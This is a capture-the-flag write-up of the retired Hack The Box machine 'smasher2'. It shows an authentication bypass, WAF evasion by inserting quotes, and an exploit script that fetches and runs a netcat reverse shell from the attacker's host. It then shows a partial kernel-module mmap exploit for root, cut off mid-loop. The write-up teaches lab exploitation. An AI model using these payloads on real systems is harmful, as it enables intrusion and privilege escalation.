Nmap scan report for smasher2.htb (10.10.10.135)
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)
| 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)
|_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds
[email protected]:~/Desktop/HTB/boxes/smasher2#

We got ssh on port 22, dns on port 53 and http on port 80.

DNS

First thing I did was to enumerate vhosts through the dns server and I got 1 result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[email protected]:~/Desktop/HTB/boxes/smasher2# dig axfr smasher2.htb @10.10.10.135

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr smasher2.htb @10.10.10.135
;; global options: +cmd
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
smasher2.htb. 604800 IN NS smasher2.htb.
smasher2.htb. 604800 IN A 127.0.0.1
smasher2.htb. 604800 IN AAAA ::1
smasher2.htb. 604800 IN PTR wonderfulsessionmanager.smasher2.htb.
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
;; Query time: 299 msec
;; SERVER: 10.10.10.135#53(10.10.10.135)
;; WHEN: Fri Dec 13 07:36:43 EST 2019
;; XFR size: 6 records (messages 1, bytes 242)

[email protected]:~/Desktop/HTB/boxes/smasher2#

wonderfulsessionmanager.smasher2.htb, I added it to my hosts file.

Web Enumeration

http://smasher2.htb had the default Apache index page:

http://wonderfulsessionmanager.smasher2.htb:

The only interesting here was the login page:

I kept testing it for a while and the responses were like this one:


It didnā€™t request any new pages so I suspected that itā€™s doing an AJAX request, I intercepted the login request to find out the endpoint it was requesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /auth HTTP/1.1
Host: wonderfulsessionmanager.smasher2.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://wonderfulsessionmanager.smasher2.htb/login
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 80
Connection: close
Cookie: session=eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg

{"action":"auth","data":{"username":"test","password":"test"}}

While browsing http://wonderfulsessionmanager.smasher2.htb I had gobuster running in the background on http://smasher2.htb/:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[email protected]:~/Desktop/HTB/boxes/smasher2# gobuster dir -u http://smasher2.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://smasher2.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/13 07:37:54 Starting gobuster
===============================================================
/.git/HEAD (Status: 403)
/.hta (Status: 403)
/.bash_history (Status: 403)
/.config (Status: 403)
/.bashrc (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.profile (Status: 403)
/.mysql_history (Status: 403)
/.sh_history (Status: 403)
/.svn/entries (Status: 403)
/_vti_bin/_vti_adm/admin.dll (Status: 403)
/_vti_bin/shtml.dll (Status: 403)
/_vti_bin/_vti_aut/author.dll (Status: 403)
/akeeba.backend.log (Status: 403)
/awstats.conf (Status: 403)
/backup (Status: 301)
/development.log (Status: 403)
/global.asa (Status: 403)
/global.asax (Status: 403)
/index.html (Status: 200)
/main.mdb (Status: 403)
/php.ini (Status: 403)
/production.log (Status: 403)
/readfile (Status: 403)
/server-status (Status: 403)
/spamlog.log (Status: 403)
/Thumbs.db (Status: 403)
/thumbs.db (Status: 403)
/web.config (Status: 403)
/WS_FTP.LOG (Status: 403)
===============================================================
2019/12/13 07:39:17 Finished
===============================================================
[email protected]:~/Desktop/HTB/boxes/smasher2#

The only result that wasnā€™t 403 was /backup so I checked that and found 2 files:

Note: Months ago when I solved this box for the first time /backup was protected by basic http authentication, that wasnā€™t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasnā€™t an important step, it was just heavy brute force so the box is better without it.
I downloaded the files to my box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[email protected]:~/Desktop/HTB/boxes/smasher2# mkdir backup
[email protected]:~/Desktop/HTB/boxes/smasher2# cd backup/
[email protected]:~/Desktop/HTB/boxes/smasher2/backup# wget http://smasher2.htb/backup/auth.py
--2019-12-13 07:40:19-- http://smasher2.htb/backup/auth.py
Resolving smasher2.htb (smasher2.htb)... 10.10.10.135
Connecting to smasher2.htb (smasher2.htb)|10.10.10.135|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4430 (4.3K) [text/x-python]
Saving to: ā€˜auth.pyā€™

auth.py 100%[=======================================================================================================================================>] 4.33K --.-KB/s in 0.07s

2019-12-13 07:40:20 (64.2 KB/s) - ā€˜auth.pyā€™ saved [4430/4430]

[email protected]:~/Desktop/HTB/boxes/smasher2/backup# wget http://smasher2.htb/backup/ses.so
--2019-12-13 07:40:43-- http://smasher2.htb/backup/ses.so
Resolving smasher2.htb (smasher2.htb)... 10.10.10.135
Connecting to smasher2.htb (smasher2.htb)|10.10.10.135|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18608 (18K)
Saving to: ā€˜ses.soā€™

ses.so 100%[=======================================================================================================================================>] 18.17K 85.2KB/s in 0.2s

2019-12-13 07:40:44 (85.2 KB/s) - ā€˜ses.soā€™ saved [18608/18608]

[email protected]:~/Desktop/HTB/boxes/smasher2/backup#

By looking at auth.py I knew that these files were related to wonderfulsessionmanager.smasher2.htb.

auth.py: Analysis

auth.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python
import ses
from flask import session,redirect, url_for, request,render_template, jsonify,Flask, send_from_directory
from threading import Lock
import hashlib
import hmac
import os
import base64
import subprocess
import time

def get_secure_key():
m = hashlib.sha1()
m.update(os.urandom(32))
return m.hexdigest()

def craft_secure_token(content):
h = hmac.new("HMACSecureKey123!", base64.b64encode(content).encode(), hashlib.sha256)
return h.hexdigest()


lock = Lock()
app = Flask(__name__)
app.config['SECRET_KEY'] = get_secure_key()
Managers = {}

def log_creds(ip, c):
with open("creds.log", "a") as creds:
creds.write("Login from {} with data {}:{}\n".format(ip, c["username"], c["password"]))
creds.close()

def safe_get_manager(id):
lock.acquire()
manager = Managers[id]
lock.release()
return manager

def safe_init_manager(id):
lock.acquire()
if id in Managers:
del Managers[id]
else:
login = ["<REDACTED>", "<REDACTED>"]
Managers.update({id: ses.SessionManager(login, craft_secure_token(":".join(login)))})
lock.release()

def safe_have_manager(id):
ret = False
lock.acquire()
ret = id in Managers
lock.release()
return ret

@app.before_request
def before_request():
if request.path == "/":
if not session.has_key("id"):
k = get_secure_key()
safe_init_manager(k)
session["id"] = k
elif session.has_key("id") and not safe_have_manager(session["id"]):
del session["id"]
return redirect("/", 302)
else:
if session.has_key("id") and safe_have_manager(session["id"]):
pass
else:
return redirect("/", 302)

@app.after_request
def after_request(resp):
return resp


@app.route('/assets/<path:filename>')
def base_static(filename):
return send_from_directory(app.root_path + '/assets/', filename)


@app.route('/', methods=['GET'])
def index():
return render_template("index.html")


@app.route('/login', methods=['GET'])
def view_login():
return render_template("login.html")

@app.route('/auth', methods=['POST'])
def login():
ret = {"authenticated": None, "result": None}
manager = safe_get_manager(session["id"])
data = request.get_json(silent=True)
if data:
try:
tmp_login = dict(data["data"])
except:
pass
tmp_user_login = None
try:
is_logged = manager.check_login(data)
secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())]
try:
tmp_user_login = {"username": tmp_login["username"], "password": tmp_login["password"]}
except:
pass
if not is_logged[0]:
ret["authenticated"] = False
ret["result"] = "Cannot authenticate with data: %s - %s" % (is_logged[1], "Too many tentatives, wait 2 minutes!" if manager.blocked else "Try again!")
else:
if tmp_user_login is not None:
log_creds(request.remote_addr, tmp_user_login)
ret["authenticated"] = True
ret["result"] = {"endpoint": secret_token_info[0], "key": secret_token_info[1], "creation_date": secret_token_info[2]}
except TypeError as e:
ret["authenticated"] = False
ret["result"] = str(e)
else:
ret["authenticated"] = False
ret["result"] = "Cannot authenticate missing parameters."
return jsonify(ret)


@app.route("/api/<key>/job", methods=['POST'])
def job(key):
ret = {"success": None, "result": None}
manager = safe_get_manager(session["id"])
if manager.secret_key == key:
data = request.get_json(silent=True)
if data and type(data) == dict:
if "schedule" in data:
out = subprocess.check_output(['bash', '-c', data["schedule"]])
ret["success"] = True
ret["result"] = out
else:
ret["success"] = False
ret["result"] = "Missing schedule parameter."
else:
ret["success"] = False
ret["result"] = "Invalid value provided."
else:
ret["success"] = False
ret["result"] = "Invalid token."
return jsonify(ret)


app.run(host='127.0.0.1', port=5000)

I read the code and these are the things that interest us:
After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job:

1
2
ret["authenticated"] = True
ret["result"] = {"endpoint": secret_token_info[0], "key": secret_token_info[1], "creation_date": secret_token_info[2]}
1
secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())]

That endpoint only accepts POST requests:

1
@app.route("/api/<key>/job", methods=['POST'])

And the sent data has to be json:

1
2
3
data = request.get_json(silent=True)
if data and type(data) == dict:
...

Through that endpoint we can execute system commands by providing them in a parameter called schedule:

1
2
3
4
if "schedule" in data:
out = subprocess.check_output(['bash', '-c', data["schedule"]])
ret["success"] = True
ret["result"] = out

session.so: Analysis ā€“> Authentication Bypass

session.so is a compiled shared python library, so stands for shared object:

1
2
3
[email protected]:~/Desktop/HTB/boxes/smasher2/backup# file ses.so 
ses.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0c67d40b77854318b10417b4aedfee95a52f0550, not stripped
[email protected]:~/Desktop/HTB/boxes/smasher2/backup#

I opened it in ghidra and started checking the functions. Two functions caught my attention, get_internal_pwd() and get_internal_usr():

I looked at the decompiled code of both of them and noticed something strange, they were the exact same:
get_internal_pwd():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
undefined8 get_internal_pwd(undefined8 param_1)

{
long *plVar1;
undefined8 uVar2;

plVar1 = (long *)PyObject_GetAttrString(param_1,"user_login");
uVar2 = PyList_GetItem(plVar1,0);
uVar2 = PyString_AsString(uVar2);
*plVar1 = *plVar1 + -1;
if (*plVar1 == 0) {
(**(code **)(plVar1[1] + 0x30))(plVar1);
}
return uVar2;
}

get_internal_usr():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
undefined8 get_internal_usr(undefined8 param_1)

{
long *plVar1;
undefined8 uVar2;

plVar1 = (long *)PyObject_GetAttrString(param_1,"user_login");
uVar2 = PyList_GetItem(plVar1,0);
uVar2 = PyString_AsString(uVar2);
*plVar1 = *plVar1 + -1;
if (*plVar1 == 0) {
(**(code **)(plVar1[1] + 0x30))(plVar1);
}
return uVar2;
}
1
2
3
4
5
6
[email protected]:~/Desktop/HTB/boxes/smasher2/backup# diff getinternalusr getinternalpwd 
1c1
< undefined8 get_internal_usr(undefined8 param_1)
---
> undefined8 get_internal_pwd(undefined8 param_1)
[email protected]:~/Desktop/HTB/boxes/smasher2/backup#

So in theory, since the two function are identical, providing the username as a password should work. Which means that itā€™s just a matter of finding an existing username and weā€™ll be able to bypass the authentication.
I tried some common usernames before attempting to use wfuzz, Administrator worked:

WAF Bypass ā€“> RCE ā€“> Shell as dzonerzy ā€“> Root Flag

I wrote a small script to execute commands through /api/<key>/job as we saw earlier in auth.py, the script was meant for testing purposes:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3
from requests import post

cookies = {"session":"eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg"}

while True:
cmd = input("cmd: ")
req = post("http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job", json={"schedule":cmd}, cookies=cookies)
response = req.text
print(response)

Testing with whoami worked just fine:

1
2
3
4
5
[email protected]:~/Desktop/HTB/boxes/smasher2# ./test.py 
cmd: whoami
{"result":"dzonerzy\n","success":true}

cmd:

However when I tried other commands I got a 403 response indicating that the server was protected by a WAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cmd: curl http://10.10.xx.xx
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job
on this server.<br />
</p>

<address>Apache/2.4.29 (Ubuntu) Server at wonderfulsessionmanager.smasher2.htb Port 80</address>
</body></html>

cmd:

I could easily bypass it by inserting single quotes in the command:

1
2
3
4
5
6
7
cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

cmd:
1
2
3
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.135 - - [13/Dec/2019 08:18:33] code 404, message File not found
10.10.10.135 - - [13/Dec/2019 08:18:33] "GET /test HTTP/1.1" 404 -

To automate the exploitation process I wrote this small exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python3 
import requests

YELLOW = "\033[93m"
GREEN = "\033[32m"

def getKey(session):
req = session.post("http://wonderfulsessionmanager.smasher2.htb/auth", json={"action":"auth","data":{"username":"Administrator","password":"Administrator"}})
response = req.json()
key = response['result']['key']
return key

def exploit(session, key):
download_payload = "\'w\'g\'e\'t \'h\'t\'t\'p\':\'/\'/\'1\'0\'.\'1\'0\'.\'x\'x\'.\'x\'x\'/\'s\'h\'e\'l\'l\'.\'s\'h\'"
print(YELLOW + "[+] Downloading payload")
download_req = session.post("http://wonderfulsessionmanager.smasher2.htb/api/{}/job".format(key), json={"schedule":download_payload})
print(GREEN + "[*] Done")
exec_payload = "s\'h\' \'s\'h\'e\'l\'l\'.\'s\'h"
print(YELLOW + "[+] Executing payload")
exec_req = session.post("http://wonderfulsessionmanager.smasher2.htb/api/{}/job".format(key), json={"schedule":exec_payload})
print(GREEN + "[*] Done. Exiting ...")
exit()

session = requests.Session()
session.get("http://wonderfulsessionmanager.smasher2.htb/login")
print(YELLOW +"[+] Authenticating")
key = getKey(session)
print(GREEN + "[*] Session: " + session.cookies.get_dict()['session'])
print(GREEN + "[*] key: " + key)
exploit(session, key)

The exploit sends 2 commands, the first one is a wget command that downloads shell.sh and the other one executes it.
shell.sh:

1
2
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f

I hosted it on a python server and I started a netcat listener on port 1337 then I ran the exploit:

We owned user.

dhid.ko: Enumeration

After getting a shell I copied my public ssh key to /home/dzonerzy/.ssh/authorized_keys and got ssh access.
In the home directory of dzonerzy there was a README containing a message from him saying that weā€™ll need to think outside the box to root smasher2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[email protected]:~$ ls -al
total 44
drwxr-xr-x 6 dzonerzy dzonerzy 4096 Feb 17 2019 .
drwxr-xr-x 3 root root 4096 Feb 15 2019 ..
lrwxrwxrwx 1 dzonerzy dzonerzy 9 Feb 15 2019 .bash_history -> /dev/null
-rw-r--r-- 1 dzonerzy dzonerzy 220 Feb 15 2019 .bash_logout
-rw-r--r-- 1 dzonerzy dzonerzy 3799 Feb 16 2019 .bashrc
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .cache
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .gnupg
drwx------ 5 dzonerzy dzonerzy 4096 Feb 17 2019 .local
-rw-r--r-- 1 dzonerzy dzonerzy 807 Feb 15 2019 .profile
-rw-r--r-- 1 root root 900 Feb 16 2019 README
drwxrwxr-x 4 dzonerzy dzonerzy 4096 Dec 13 12:50 smanager
-rw-r----- 1 root dzonerzy 33 Feb 17 2019 user.txt
[email protected]:~$ cat README


.|'''.| '||
||.. ' .. .. .. .... .... || .. .... ... ..
''|||. || || || '' .|| ||. ' ||' || .|...|| ||' ''
. '|| || || || .|' || . '|.. || || || ||
|'....|' .|| || ||. '|..'|' |'..|' .||. ||. '|...' .||. v2.0

by DZONERZY

Ye you've come this far and I hope you've learned something new, smasher wasn't created
with the intent to be a simple puzzle game... but instead I just wanted to pass my limited
knowledge to you fellow hacker, I know it's not much but this time you'll need more than
skill, you will need to think outside the box to complete smasher 2 , have fun and happy

Hacking!

free(knowledge);
free(knowledge);
* error for object 0xd00000000b400: pointer being freed was not allocated *


[email protected]:~$

After some enumeration, I checked the auth log and saw this line:

1
2
3
4
5
6
7
8
9
[email protected]:~$ cat /var/log/auth.log
----------
Redacted
----------
Dec 13 11:49:34 smasher2 sudo: root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/sbin/insmod /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
----------
Redacted
----------
[email protected]:~$

insmod (stands for insert module) is a tool used to load kernel modules. dhid.ko is a kernel module (ko stands for kernel object)

1
2
3
4
[email protected]:~$ cd /lib/modules/4.15.0-45-generic/kernel/drivers/hid/
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ file dhid.ko
dhid.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=d4315261f7c9c38393394f6779378abcff6270d2, not stripped
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

I checked the loaded kernel modules and that module was still loaded:

1
2
3
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ lsmod | grep dhid
dhid 16384 0
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

We can use modinfo to list the information about that module, as you can see it was written by dzonerzy:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ modinfo dhid
filename: /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
version: 1.0
description: LKM for dzonerzy dhid devices
author: DZONERZY
license: GPL
srcversion: 974D0512693168483CADFE9
depends:
retpoline: Y
name: dhid
vermagic: 4.15.0-45-generic SMP mod_unload
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

Last thing I wanted to check was if there was device driver file for the module:

1
2
3
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ ls -la /dev/ | grep dhid
crwxrwxrwx 1 root root 243, 0 Dec 13 11:49 dhid
[email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

I downloaded the module on my box to start analyzing it:

1
2
3
4
5
[email protected]:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa [email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./ 
dhid.ko 100% 8872 16.1KB/s 00:00
[email protected]:~/Desktop/HTB/boxes/smasher2# file dhid.ko
dhid.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=d4315261f7c9c38393394f6779378abcff6270d2, not stripped
[email protected]:~/Desktop/HTB/boxes/smasher2#

dhid.ko: Analysis

I opened the module in ghidra then I started checking the functions:

The function dev_read() had a hint that this is the intended way to root the box:

1
2
3
4
5
6
7
8
9
long dev_read(undefined8 param_1,undefined8 param_2)

{
int iVar1;

__fentry__();
iVar1 = _copy_to_user(param_2,"This is the right way, please exploit this shit!",0x30);
return (ulong)(-(uint)(iVar1 == 0) & 0xf) - 0xe;
}

One interesting function that caught my attention was dev_mmap():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ulong dev_mmap(undefined8 param_1,long *param_2)

{
uint uVar1;
ulong uVar2;
uint uVar3;

__fentry__();
uVar3 = (int)param_2[1] - *(int *)param_2;
uVar1 = (uint)(param_2[0x13] << 0xc);
printk(&DAT_00100380,(ulong)uVar3,param_2[0x13] << 0xc & 0xffffffff);
if ((((int)uVar3 < 0x10001) && (uVar1 < 0x1001)) && ((int)(uVar3 + uVar1) < 0x10001)) {
uVar1 = remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);
uVar2 = (ulong)uVar1;
if (uVar1 == 0) {
printk(&DAT_0010057b);
}
else {
uVar2 = 0xfffffff5;
printk(&DAT_00100567);
}
}
else {
uVar2 = 0xfffffff5;
printk(&DAT_001003b0);
}
return uVar2;
}

In case you donā€™t know what mmap is, simply mmap is a system call which is used to map memory to a file or a device. (Check this)
The function dev_mmap() is a custom mmap handler.
The interesting part here is the call to remap_pfn_range() function (remap kernel memory to userspace):

1
remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);

I checked the documentation of remap_pfn_range() to know more about it, the function takes 5 arguments:

1
2
3
4
5
int remap_pfn_range (struct vm_area_struct * vma,
unsigned long addr,
unsigned long pfn,
unsigned long size,
pgprot_t prot);

Description of each argument:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct vm_area_struct * vma
user vma to map to

unsigned long addr
target user address to start at

unsigned long pfn
physical address of kernel memory

unsigned long size
size of map area

pgprot_t prot
page protection flags for this mapping

If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ulong dev_mmap(undefined8 param_1,long *param_2)

{
uint uVar1;
ulong uVar2;
uint uVar3;

__fentry__();
uVar3 = (int)param_2[1] - *(int *)param_2;
uVar1 = (uint)(param_2[0x13] << 0xc);
printk(&DAT_00100380,(ulong)uVar3,param_2[0x13] << 0xc & 0xffffffff);
if ((((int)uVar3 < 0x10001) && (uVar1 < 0x1001)) && ((int)(uVar3 + uVar1) < 0x10001)) {
uVar1 = remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);
...

This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.

dhid.ko: Exploitation ā€“> Root Shell ā€“> Root Flag

Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, whatā€™s going to happen is that weā€™ll map a huge amount of memory and search through it for our processā€™s cred structure (The cred structure holds our process credentials) then overwrite our uid and gid with 0 and execute /bin/sh. Letā€™s go through it step by step.
First, we need to make sure that itā€™s really exploitable, weā€™ll try to map a huge amount of memory and check if it worked:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}

printf("[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("[!] Failed to mmap");
close(fd);
return -1;
}

printf("[*] mmap OK address: %lx\n", addr);

int stop = getchar();
return 0;
}

I compiled the code and uploaded it to the box:

1
2
3
4
[email protected]:~/Desktop/HTB/boxes/smasher2# gcc -o pwn pwn.c 
[email protected]:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa ./pwn [email protected]:/dev/shm/pwn
pwn 100% 17KB 28.5KB/s 00:00
[email protected]:~/Desktop/HTB/boxes/smasher2#

Then I ran it:

1
2
3
4
[email protected]:/dev/shm$ ./pwn 
[+] PID: 8186
[*] Open OK fd: 3
[*] mmap OK address: 42424000

From another ssh session I checked the process memory mapping, the attempt was successful:

1
2
3
4
5
6
[email protected]:/dev/shm$ cat /proc/8186/maps 
42424000-132424000 rw-s 00000000 00:06 440 /dev/dhid
----------
Redacted
----------
[email protected]:/dev/shm$

Now we can start searching for the cred structure that belongs to our process, if we take a look at the how the cred structure looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct cred {
atomic_tusage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_tsubscribers;/* number of processes subscribed */
void*put_addr;
unsignedmagic;
#define CRED_MAGIC0x43736564
#define CRED_MAGIC_DEAD0x44656144
#endif
kuid_tuid;/* real UID of the task */
kgid_tgid;/* real GID of the task */
kuid_tsuid;/* saved UID of the task */
kgid_tsgid;/* saved GID of the task */
kuid_teuid;/* effective UID of the task */
kgid_tegid;/* effective GID of the task */
kuid_tfsuid;/* UID for VFS ops */
kgid_tfsgid;/* GID for VFS ops */
unsignedsecurebits;/* SUID-less security management */
kernel_cap_tcap_inheritable; /* caps our children can inherit */
kernel_cap_tcap_permitted;/* caps we're permitted */
kernel_cap_tcap_effective;/* caps we can actually use */
kernel_cap_tcap_bset;/* capability bounding set */
kernel_cap_tcap_ambient;/* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned charjit_keyring;/* default keyring to attach requested
* keys to */
struct key*session_keyring; /* keyring inherited over fork */
struct key*process_keyring; /* keyring private to this process */
struct key*thread_keyring; /* keyring private to this thread */
struct key*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void*security;/* subjective LSM security */
#endif
struct user_struct *user;/* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info;/* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu;/* Can we skip RCU deletion? */
struct rcu_headrcu;/* RCU deletion hook */
};
}

Weā€™ll notice that the first 8 integers (representing our uid, gid, saved uid, saved gid, effective uid, effective gid, uid and gid for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:

1
2
3
4
5
6
7
8
kuid_tuid;/* real UID of the task */
kgid_tgid;/* real GID of the task */
kuid_tsuid;/* saved UID of the task */
kgid_tsgid;/* saved GID of the task */
kuid_teuid;/* effective UID of the task */
kgid_tegid;/* effective GID of the task */
kuid_tfsuid;/* UID for VFS ops */
kgid_tfsgid;/* GID for VFS ops */

These 8 integers are followed by a variable called securebits:

1
unsigned    securebits; /* SUID-less security management */

Then that variable is followed by our capabilities:

1
2
3
4
5
kernel_cap_t    cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */

Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred structure pattern weā€™ll overwrite each integer of the 8 with a 0 and check if our uid changed to 0, weā€™ll keep doing it until we overwrite the one which belongs to our process, then weā€™ll overwrite the capabilities with 0xffffffffffffffff and execute /bin/sh. Letā€™s try to implement the search for cred structures first.
To do that we will get our uid with getuid():

1
unsigned int uid = getuid();

Then search for 8 consecutive integers that are equal to our uid, when we find a cred structure weā€™ll print its pointer and keep searching:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
